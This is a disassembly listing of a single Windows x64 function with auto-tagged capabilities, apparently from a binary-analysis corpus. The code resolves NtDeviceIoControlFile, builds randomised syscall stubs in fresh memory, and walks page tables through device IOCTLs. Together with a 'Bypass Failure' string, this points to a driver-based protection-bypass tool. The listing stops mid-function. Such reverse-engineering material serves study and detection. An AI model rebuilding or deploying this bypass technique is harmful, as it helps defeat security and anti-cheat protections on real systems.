Function at 0x14008cea0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x19a00]
mov eax, 0x19b00
call fcn.140191300
sub rsp, rax
mov rax, qword [0x140221880]
xor rax, rsp
mov qword [rbp + 0x199f0], rax
cmp qword [0x140328f28], 0
mov rsi, r9
mov rdi, qword [rbp + 0x19a60]
mov qword [rbp - 0x70], r9
mov qword [rbp - 0x58], r8
mov ebx, edx
mov qword [rbp - 0x50], rcx
mov qword [rcx], 0
mov qword [rcx + 8], 0
jne 0x14008cf2c
mov ecx, 0x26b0
call fcn.1401ab860
test rax, rax
je 0x14008cf2c
mov qword [rax], 0
mov qword [rax + 8], 0x19c
mov qword [0x140328f28], rax
mov qword [rbp + 8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
lea r9, [rbp + 8]
mov rdx, rsi
lea rcx, str.PsLookupProcessByProcessId
call fcn.1400ce520
mov r8, rbx
mov qword [rbp + 0x10], 0
lea r9, [rbp + 0x10]
mov rdx, rsi
lea rcx, str.PsLookupProcessByProcessId
call fcn.1400ce520
cmp qword [rbp + 8], 0
je 0x14008cf7e
mov rax, qword [rbp + 0x10]
test rax, rax
jne 0x14008cfd9
lea rcx, [rsp + 0x70]
call fcn.14003cdd0
mov r8d, send
lea rdx, str.Bypass_Failure
lea rcx, [rsp + 0x70]
call fcn.14003ce50
lea rcx, [rbp + 0x1d8]
call fcn.14003cdd0
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Code:_0x4_:_0x0
lea rcx, [rbp + 0x1d8]
call fcn.14003ce50
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x1d8]
call fcn.14003cf90
mov rax, qword [rbp + 0x10]
lea rcx, [rax + 0x28]
mov qword [rbp + 0x1d0], 0
xor eax, eax
mov qword [rbp - 0x68], rcx
movabs rdx, 0xfffffffff000
mov qword [rbp + 0x188], 8
and rdi, rdx
mov qword [rsp + 0x68], rax
mov qword [rbp - 0x60], rdi
lea r14d, [rax + 1]
nop dword [rax]
nop word [rax + rax]
mov r13d, dword [0x140322b68]
add rax, rcx
mov qword [rsp + 0x50], rax
lea rcx, [0x1401fded8]
shr rax, 0x27
xorps xmm0, xmm0
and eax, 0x1ff
mov qword [rbp + 0xa0], 0
mov r8d, r14d
mov qword [rbp + 0xa8], 0
xor edx, edx
mov qword [rbp + 0xb0], 0
mov r15d, 0x5a4d
mov qword [rbp + 0x90], 8
lea rax, [rdi + rax*8]
mov qword [rbp + 0x98], rax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0x288], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14008d2e4
cmp word [rax], r15w
jne 0x14008d2e4
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008d2e4
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008d2e4
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008d2d8
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008d123
inc rbx
cmp rbx, r14
jb 0x14008d100
jmp 0x14008d2d8
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008d2d8
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008d2d8
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x1634], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x2b0]
call fcn.1400be1b0
lea rcx, [rbp + 0x2b0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x2b0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008d1b3
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1c8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x1c8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x90]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x90]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x288]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x1c8]
lea r9, [rbp + 0x1c8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14008eb61
mov r14d, 1
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0xa8]
test rbx, rbx
je 0x14008eb61
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
mov r8d, r14d
mov dword [rbp + 0x158], eax
xor edx, edx
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x160], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14008d571
cmp word [rax], r15w
jne 0x14008d571
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14008d571
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14008d571
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14008d56b
nop
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14008d3a4
inc rdi
cmp rdi, r15
jb 0x14008d380
jmp 0x14008d56b
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14008d56b
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14008d56b
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x100f4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xed70]
call fcn.1400be1b0
lea rcx, [rbp + 0xed70]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0xed70]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x189f0], rax
inc rdi
cmp rdi, 0x200
jl 0x14008d440
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1a8]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x1a8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x90]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x90]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0x158]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x288]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x1a8]
lea r9, [rbp + 0x1a8]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14008eb61
mov r14d, 1
test bl, 1
je 0x14008eb61
mov rax, qword [rsp + 0x50]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0xf0], 0
xorps xmm0, xmm0
mov qword [rbp + 0xf8], 0
mov r8d, r14d
mov qword [rbp + 0x100], 0
xor edx, edx
mov qword [rbp + 0xe0], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0xe8], rax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0x278], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r15d, 0x5a4d
test rax, rax
je 0x14008d844
cmp word [rax], r15w
jne 0x14008d844
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008d844
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008d844
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008d838
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008d683
inc rbx
cmp rbx, r14
jb 0x14008d660
jmp 0x14008d838
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008d838
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008d838
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x6474], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x50f0]
call fcn.1400be1b0
lea rcx, [rbp + 0x50f0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x50f0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008d713
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1ac]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x1ac], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0xe0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x278]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x1ac]
lea r9, [rbp + 0x1ac]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14008eb61
mov r14d, 1
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0xf8]
test rbx, rbx
je 0x14008eb61
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
mov r8d, r14d
mov dword [rbp + 0x158], eax
xor edx, edx
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x160], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14008dad1
cmp word [rax], r15w
jne 0x14008dad1
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14008dad1
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14008dad1
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14008dacb
nop
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14008d904
inc rdi
cmp rdi, r15
jb 0x14008d8e0
jmp 0x14008dacb
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14008dacb
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14008dacb
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x7804], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x6480]
call fcn.1400be1b0
lea rcx, [rbp + 0x6480]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x6480]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x189f0], rax
inc rdi
cmp rdi, 0x200
jl 0x14008d9a0
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1b0]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x1b0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0xe0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0xe0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0x158]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x278]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x1b0]
lea r9, [rbp + 0x1b0]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14008eb61
mov r14d, 1
test bl, 1
je 0x14008eb61
movzx eax, bl
shr al, 7
test al, 1
je 0x14008dafe
mov rcx, qword [rsp + 0x50]
movabs rax, 0xfffffc0000000
and ecx, 0x3fffffff
jmp 0x14008e5d3
mov rax, qword [rsp + 0x50]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x78], 0
xorps xmm0, xmm0
mov qword [rbp + 0x80], 0
mov r8d, r14d
mov qword [rbp + 0x88], 0
xor edx, edx
mov qword [rbp + 0x68], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0x70], rax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0x258], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r15d, 0x5a4d
test rax, rax
je 0x14008ddbe
cmp word [rax], r15w
jne 0x14008ddbe
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008ddbe
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008ddbe
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008ddb2
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008dc03
inc rbx
cmp rbx, r14
jb 0x14008dbe0
jmp 0x14008ddb2
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008ddb2
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008ddb2
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x8b94], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x7810]
call fcn.1400be1b0
lea rcx, [rbp + 0x7810]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x7810]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008dc93
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1b4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x1b4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x68]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x68]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x258]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x1b4]
lea r9, [rbp + 0x1b4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14008eb61
mov r14d, 1
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0x80]
test rbx, rbx
je 0x14008eb61
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
mov r8d, r14d
mov dword [rbp + 0x158], eax
xor edx, edx
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x160], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14008e04b
cmp word [rax], r15w
jne 0x14008e04b
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14008e04b
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14008e04b
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14008e045
nop dword [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14008de84
inc rdi
cmp rdi, r15
jb 0x14008de60
jmp 0x14008e045
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14008e045
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14008e045
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x9f24], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x8ba0]
call fcn.1400be1b0
lea rcx, [rbp + 0x8ba0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x8ba0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x189f0], rax
inc rdi
cmp rdi, 0x200
jl 0x14008df20
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1b8]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x1b8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x68]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x68]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0x158]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x258]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x1b8]
lea r9, [rbp + 0x1b8]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14008eb61
mov r14d, 1
test bl, 1
je 0x14008eb61
movzx eax, bl
shr al, 7
test al, 1
je 0x14008e078
mov rcx, qword [rsp + 0x50]
movabs rax, 0x3ffffffe00000
and ecx, 0x1fffff
jmp 0x14008e5d3
mov rax, qword [rsp + 0x50]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x50], 0
xorps xmm0, xmm0
mov qword [rbp + 0x58], 0
mov r8d, r14d
mov qword [rbp + 0x60], 0
xor edx, edx
mov qword [rbp + 0x40], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0x48], rax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0x248], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r15d, 0x5a4d
test rax, rax
je 0x14008e32e
cmp word [rax], r15w
jne 0x14008e32e
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008e32e
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008e32e
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008e322
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008e173
inc rbx
cmp rbx, r14
jb 0x14008e150
jmp 0x14008e322
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008e322
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008e322
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xb2b4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x9f30]
call fcn.1400be1b0
lea rcx, [rbp + 0x9f30]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x9f30]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008e203
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1c4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x1c4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x40]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x248]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x1c4]
lea r9, [rbp + 0x1c4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14008eb61
mov r14d, 1
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0x58]
test rbx, rbx
je 0x14008eb61
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
mov r8d, r14d
mov dword [rbp + 0x158], eax
xor edx, edx
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x160], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
